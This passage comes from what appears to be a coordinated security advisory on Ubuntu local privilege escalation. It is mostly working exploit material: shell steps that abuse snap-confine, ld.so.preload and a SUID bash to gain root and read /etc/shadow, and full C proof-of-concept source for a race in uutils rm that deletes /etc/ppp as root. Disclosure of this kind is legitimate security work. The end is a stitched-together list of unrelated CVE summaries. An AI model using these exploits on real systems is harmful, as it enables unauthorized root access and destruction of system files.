outside$ echo /tmp/librootshell.so > ./.snap/etc/ld.so.preload

outside$ cp ~/librootshell.so ./

outside$ cp /usr/bin/busybox ./sh

outside$ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab

outside$ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab

outside$ mv ./.snap/var/lib ./.snap/var/lib.exchange2

outside$ mv ./.snap/var/lib.exchange ./.snap/var/lib ------------------------------------------------------------------------

Fourth, we obtain a root shell inside snap-store's sandbox, by executing snap-confine with one of the SUID-root binaries in /tmp/.snap (such as /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su), which is dynamically linked and therefore preloads our /tmp/librootshell.so and executes our shellcode (and hence a busybox shell) as root.

------------------------------------------------------------------------ outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su ... BusyBox v1.37.0 (Ubuntu 1:1.37.0-4ubuntu1) built-in shell (ash) ...

inside# id uid=0(root) gid=1001(jane) groups=100(users),1001(jane) ^^^^^^^^^^^

inside# cat /etc/shadow cat: can't open '/etc/shadow': No such file or directory ------------------------------------------------------------------------

Fifth, because this root shell is still inside snap-store's sandbox, confined by an AppArmor profile and a seccomp filter, we copy /bin/bash to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are allowed by the AppArmor profile and the seccomp filter), and execute this SUID-root shell from outside snap-store's sandbox, thereby finally gaining full root privileges.

------------------------------------------------------------------------ inside# cp /bin/bash /var/snap/snap-store/common/

inside# chmod 04755 /var/snap/snap-store/common/bash

inside# exit

outside$ /var/snap/snap-store/common/bash -p

outside# id uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users) ^^^^^^^^^^^^

outside# cat /etc/shadow root::20368:0:99999:7::: daemon::20368:0:99999:7::: ... ------------------------------------------------------------------------

======================================================================== A quick note on the uutils coreutils (the rust-coreutils) ========================================================================

In August 2025, before the release of Ubuntu 25.10, the Ubuntu Security Team proactively contacted us and kindly asked us if we were interested in reviewing the security of the uutils coreutils (a Rust rewrite of the standard GNU coreutils -- ls, cp, rm, cat, sort, sleep, etc), which are since then installed by default in Ubuntu 25.10.

We were deeply interested, and honored, but unfortunately at the time we were already working full-time on another project; so we told the Ubuntu Security Team that we would not be able to conduct an official security review, but that we would try to work on it anyway during our free time.

We started by carefully reading the following report, which already contained extremely valuable information; in particular, the mention of "unsafe, racy, tree walking algorithms" caught our attention:

https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815

From our work on apport (CVE-2025-5054), we then remembered that the shell script /etc/cron.daily/apport is installed by default on Ubuntu, is executed as root once per day, and can recursively delete entire sub-directories of /var/crash, which is world-writable like /tmp:

------------------------------------------------------------------------ $ cat /etc/cron.daily/apport ... find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex './[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \;

$ stat /var/crash ... Access: (3777/drwxrwsrwt) Uid: ( 0/ root) Gid: ( 0/ root) ... ------------------------------------------------------------------------

Since rm is one of the uutils coreutils, we decided to create a directory /var/crash/base/parent/target (as an unprivileged attacker) and to analyze the strace of an "rm -Rf /var/crash/base" command (as root), and we quickly discovered that rm was vulnerable to a trivial race condition:

------------------------------------------------------------------------ 1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0 ... 147 openat(ATFDCWD, "/var/crash/base", ORDONLY|ONONBLOCK|OCLOEXEC|ODIRECTORY) = 3 ... 152 openat(ATFDCWD, "/var/crash/base/parent", ORDONLY|ONONBLOCK|OCLOEXEC|ODIRECTORY) = 4 ... 158 openat(ATFDCWD, "/var/crash/base/parent/target", ORDONLY|ONONBLOCK|OCLOEXEC|ODIRECTORY) = 5 ... 163 rmdir("/var/crash/base/parent/target") = 0 ... 167 rmdir("/var/crash/base/parent") = 0 ... 171 rmdir("/var/crash/base") = 0 ... 174 exitgroup(0) = ? ------------------------------------------------------------------------

- if, after rm calls openat() on /var/crash/base/parent (at line 152), but before rm calls openat() on /var/crash/base/parent/target (at line 158), if the attacker replaces /var/crash/base/parent with a symlink (which will be followed by rm) to another part of the filesystem (for example, to /etc), then this attacker can delete arbitrary parts of the filesystem, as root (the shell script /etc/cron.daily/apport is executed as root);

- for example, if the attacker replaces "parent" with a symlink to /etc, and if "target" is "ppp", then rm will recursively delete the entire /etc/ppp directory.

We immediately reported this vulnerability to Ubuntu, who, as a temporary mitigation in Ubuntu 25.10, replaced the default rm with a symlink to the standard GNU coreutils' rm (i.e., in Ubuntu 25.10, rm is a symlink to /usr/bin/gnurm, not a symlink to the uutils coreutils' /usr/lib/cargo/bin/coreutils/rm).

To the best of our knowledge, this vulnerability in the uutils coreutils' rm was later fixed upstream (by calling openat() relatively to each component of a path, instead of calling openat() on absolute paths and resolving each path component multiple times), by commits:

https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41 https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714

However, at the time of writing this advisory, the uutils coreutils' /usr/lib/cargo/bin/coreutils/rm that is shipped with Ubuntu 25.10 is still vulnerable (but unused, since the default is the GNU coreutils' rm); this allows us to test what would have happened if the vulnerable rm had been shipped as the default in Ubuntu 25.10. For example, below we run our proof of concept as an unprivileged user, and root executes the rm command that would have been executed by /etc/cron.daily/apport, thereby accidentally deleting the entire /etc/ppp directory:

------------------------------------------------------------------------ $ cat /etc/os-release PRETTYNAME="Ubuntu 25.10" ...

$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

$ cat > uutilsrm.c << "EOF" #define GNUSOURCE #include <sys/inotify.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <utime.h>

#define die() do { \ fprintf(stderr, "died in %s: %u\n", func, LINE); \ exit(EXITFAILURE); \ } while (0)

int main(const int argc, const char const argv[]) { if (argc < 3) die(); const char const writabledir = argv[1]; if (writabledir != '/') die();

const char const parentdir = strdup(argv[2]); if (!parentdir) die(); char const lastslash = strrchr(parentdir, '/'); if (!lastslash) die();

const char const targetdir = strdup(lastslash + 1); if (!targetdir) die();

lastslash[1] = '\0'; if (parentdir != '/') die(); if (!targetdir) die();

unsigned long npredirs = 32; if (argc > 3) { if (argc != 4) die(); npredirs = strtoul(argv[3], NULL, 0); } if (npredirs <= 0) die(); if (npredirs > (1u<<20)) die();

if (chdir(writabledir)) die(); char basedir[] = "XXXXXX"; if (!mkdtemp(basedir)) die(); if (chdir(basedir)) die();

if (mkdir("parent", 0700)) die(); if (chdir("parent")) die(); if (mkdir(targetdir, 0700)) die();

const char firstdir = NULL; for (;;) { char try[] = "XXXXXX"; if (!mkdtemp(try)) die();

unsigned long n = 0; DIR const dirp = opendir("."); if (!dirp) die(); for (;;) { const struct dirent const entp = readdir(dirp); if (!entp) die(); if (entp->dname == '.') continue; if (!strcmp(entp->dname, targetdir)) break; n++; if (!firstdir) { firstdir = strdup(entp->dname); if (!firstdir) die(); } } if (closedir(dirp)) die(); if (n >= npredirs) break; } if (!firstdir) die();

if (chdir(firstdir)) die(); unsigned long i; for (i = 0; i < npredirs; i++) { char num[256]; snprintf(num, sizeof(num), "%lu", i); if (mkdir(num, 0700)) die(); } const int infd = inotifyinit(); if (infd <= -1) die(); if (inotifyaddwatch(infd, ".", INATTRIB) <= -1) die();

if (chdir("..")) die(); if (chdir("..")) die(); if (symlink(parentdir, "../switch")) die(); static const struct utimbuf epoch = { 1, 1 }; if (utime(".", &epoch)) die();

fprintf(stderr, "ready\n"); static char inbuf[sizeof(struct inotifyevent) + NAMEMAX + 1]; if (read(infd, inbuf, sizeof(inbuf)) < (ssizet)sizeof(struct inotifyevent)) die(); if (renameat2(ATFDCWD, "parent", ATFDCWD, "../switch", RENAMEEXCHANGE)) die(); die(); } EOF

$ gcc -s -o uutilsrm uutilsrm.c

$ stat /etc/ppp ... Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

$ ./uutilsrm /var/crash /etc/ppp ready ------------------------------------------------------------------------

Then, as root (to simulate the /etc/cron.daily/apport shell script):

------------------------------------------------------------------------ id uid=0(root) gid=0(root) groups=0(root)

dpkg -S /usr/lib/cargo/bin/coreutils/rm rust-coreutils: /usr/lib/cargo/bin/coreutils/rm

dpkg -l rust-coreutils ... ii rust-coreutils 0.2.2-0ubuntu2.1 amd64 Universal coreutils utils, written in Rust

find /var/crash/. ! -name . -prune -type d \( -mtime +7 \) -exec /usr/lib/cargo/bin/coreutils/rm -Rf -- '{}' \; ...

stat /etc/ppp stat: cannot stat '/etc/ppp': No such file or directory (os error 2) ------------------------------------------------------------------------

Back in September 2025, we reported this vulnerability to Ubuntu as a denial of service (the ability to delete arbitrary files and directories as root), but after writing this advisory it became perfectly clear that this vulnerability was actually powerful enough to be transformed into a Local Privilege Escalation (LPE) to full root (for example by deleting a /tmp/snap-private-tmp/$SNAP/tmp/.snap directory). Fortunately, this LPE was avoided thanks to the Ubuntu Security Team, who proactively reached out to us and mitigated it before the release of Ubuntu 25.10.

======================================================================== Acknowledgments ========================================================================

We thank everyone at Canonical who worked on this release (Seth Arnold, Zygmunt Krynicki, Nick Dyer, Eduardo Barretto, and Luci Stanescu, in particular) and on the uutils coreutils with us (Octavio Galland, Ravi Kant Sharma, Seth Arnold, and Julian Andres Klode, in particular). We also thank the members of the linux-distros mailing list (Alexander Peslyak in particular).

Finally, we dedicate this advisory to Felix Lindner:

https://phenoelit.de/fx.html https://defcon.social/@thedarktangent/116157827849844661

======================================================================== Timeline ========================================================================

2025-12-15: We sent a draft of our advisory and two proofs of concept (firefox24.04.c and snap-store25.10.c) to the Ubuntu Security Team.

2026-03-12: The Ubuntu Security Team sent a patch, and we sent a draft of our advisory, to the linux-distros mailing list.

2026-03-17: Coordinated Release Date (14:00 UTC).

Accessibility. A privacy issue was addressed with improved private data redaction for log entries.

Ubuntu Linux 6.8 GA retains the legacy AFUNIX garbage collector but backports upstream commit 8594d9b85c07 ("afunix: Don’t call skbget() for OOB skb"). When orphaned MSGOOB sockets hit unixgc(), the garbage collector still calls kfreeskb() as if OOB SKBs held two references; on Ubuntu Linux 6.8 (Noble Numbat) kernel tree, they have only the queue reference, so the buffer is freed while still reachable and subsequent queue walks dereference freed memory, yielding a reliable local privilege escalation (LPE) caused by a use-after-free (UAF). Ubuntu builds that have already taken the new GC stack from commit 4090fa373f0e, and mainline Linux kernels shipping that infrastructure are unaffected because they no longer execute the legacy collector path. This issue affects Ubuntu Linux from 6.8.0-56.58 before 6.8.0-84.84.

NULL pointer dereference in TagSection.keys() in python-apt on APT-based Linux systems allows a local attacker to cause a denial of service (process crash) via a crafted deb822 file with a malformed non-UTF-8 key.

The Ubuntu edk2 UEFI firmware packages accidentally allowed the UEFI Shell to be accessed in Secure Boot environments, possibly allowing bypass of Secure Boot constraints. Versions 2024.05-2ubuntu0.3 and 2024.02-2ubuntu0.3 disable the Shell. Some previous versions inserted a secure-boot-based decision to continue running inside the Shell itself, which is believed to be sufficient to enforce Secure Boot restrictions. This is an additional repair on top of the incomplete fix for CVE-2023-48733.

Rejected reason: This CVE ID was assigned in error.

The End-of-Life status of a component, by itself, does not constitute a vulnerability under the CVE Program’s rules.

This condition represents a security weakness (CWE-1104: Use of Unmaintained Third-Party Components) rather than a specific vulnerability instance.

Ubuntu's implementation of pulseaudio can be crashed by a malicious program if a bluetooth headset is connected.